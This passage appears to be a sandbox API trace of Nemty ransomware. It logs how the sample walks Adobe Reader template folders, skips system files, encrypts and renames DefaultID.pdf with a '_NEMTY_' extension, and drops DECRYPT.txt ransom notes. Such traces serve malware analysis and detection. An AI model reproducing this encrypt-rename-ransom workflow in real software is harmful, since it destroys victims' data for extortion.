CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0171.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.390] Sleep (dwMilliseconds=0x5) [0171.395] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19ce67d0, dwHighDateTime=0x1d561e8)) [0171.395] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19ce67d0, dwHighDateTime=0x1d561e8)) [0171.395] GetLastError () returned 0x0 [0171.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.395] GetLastError () returned 0x0 [0171.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.395] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0171.395] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.395] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0171.395] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e5dc | out: pszString="mMWzJRNjygeo3hKp0Sdmd0ZrXISot7c3MJbMQlI1AH+4X7cL4qmvmxvLhtsmN52X\r\nljfiVL6CH9UtHBbXXYzftwXgLNAid3TvFzXrX+bmaRKZxveZyefjMTtofQkZ//Gm\r\nA1eBkxlFCaCEDgz7LS4SweBP0sd0XqygjMsk/B7e8WKisPbsixfGmSNcMNAADVHC\r\ny2rRtrVC56w7ucK5oxRTZzzKRMuUiXVONugSiMPEdhT+G2pQuKH17a3yU9orTJHw\r\nshzYflWnmipTyX33B1DBvXnt4bdjRLyoRQpX/SbTyTRu3lzSHTsKJjoLa+SjHMfb\r\nsSw6ZF1VjPa5ORTd2G++lA==\r\n", pcchString=0x653e5dc) returned 1 [0171.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0171.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.396] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0171.396] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=65998) returned 1 [0171.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x101c0) returned 0x6352c48 [0171.396] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.396] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x101c0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x101c0, lpOverlapped=0x0) returned 1 [0171.402] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.402] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x101c0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x101c0, lpOverlapped=0x0) returned 1 [0171.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.402] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=65998, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x101ce [0171.402] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340198*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340198*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.402] CloseHandle (hObject=0x3b0) returned 1 [0171.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0171.402] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.402] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0171.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0171.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0171.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.402] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\DefaultID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\defaultid.pdf._nemty_kgobjgd_")) returned 1 [0171.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0171.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0171.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.403] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19c743b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x19c743b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19c9a510, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0171.403] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0171.403] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0171.403] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0171.403] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0171.403] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0171.403] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0171.403] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0171.403] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0171.403] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0171.403] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0171.403] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.403] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.403] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0171.403] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0171.403] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0171.403] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0171.403] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0171.404] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0171.404] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0171.404] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0171.404] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0171.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.404] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.404] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0171.404] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.404] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0171.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.404] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.404] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.404] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.404] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0171.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0171.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.404] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19c743b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x19c743b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19c9a510, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0171.404] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0171.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0171.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.405] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DEU", cAlternateFileName="")) returned 1 [0171.405] lstrcmpiW (lpString1="DEU", lpString2=".") returned 1 [0171.405] lstrcmpiW (lpString1="DEU", lpString2="..") returned 1 [0171.405] lstrcmpiW (lpString1="DEU", lpString2="...") returned 1 [0171.405] lstrcmpiW (lpString1="DEU", lpString2="windows") returned -1 [0171.405] lstrcmpiW (lpString1="DEU", lpString2="$RECYCLE.BIN") returned 1 [0171.405] lstrcmpiW (lpString1="DEU", lpString2="rsa") returned -1 [0171.405] lstrcmpiW (lpString1="DEU", lpString2="NTDETECT.COM") returned -1 [0171.405] lstrcmpiW (lpString1="DEU", lpString2="ntldr") returned -1 [0171.405] lstrcmpiW (lpString1="DEU", lpString2="MSDOS.SYS") returned -1 [0171.405] lstrcmpiW (lpString1="DEU", lpString2="IO.SYS") returned -1 [0171.405] lstrcmpiW (lpString1="DEU", lpString2="boot.ini") returned 1 [0171.405] lstrcmpiW (lpString1="DEU", lpString2="boot.ini") returned 1 [0171.405] lstrcmpiW (lpString1="DEU", lpString2="AUTOEXEC.BAT") returned 1 [0171.405] lstrcmpiW (lpString1="DEU", lpString2="ntuser.dat") returned -1 [0171.405] lstrcmpiW (lpString1="DEU", lpString2="desktop.ini") returned 1 [0171.405] lstrcmpiW (lpString1="DEU", lpString2="CONFIG.SYS") returned 1 [0171.405] lstrcmpiW (lpString1="DEU", lpString2="RECYCLER") returned -1 [0171.405] lstrcmpiW (lpString1="DEU", lpString2="BOOTSECT.BAK") returned 1 [0171.405] lstrcmpiW (lpString1="DEU", lpString2="bootmgr") returned 1 [0171.405] lstrcmpiW (lpString1="DEU", lpString2="programdata") returned -1 [0171.405] lstrcmpiW (lpString1="DEU", lpString2="appdata") returned 1 [0171.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEU", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEU", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEU", lpUsedDefaultChar=0x0) returned 3 [0171.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEU", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEU", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEU", lpUsedDefaultChar=0x0) returned 3 [0171.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0171.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63400d0 [0171.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.405] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.405] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0171.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.406] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.407] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.407] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0171.408] CloseHandle (hObject=0x254) returned 1 [0171.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0171.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.408] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.408] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0171.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.409] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.409] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.409] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0171.410] CloseHandle (hObject=0x254) returned 1 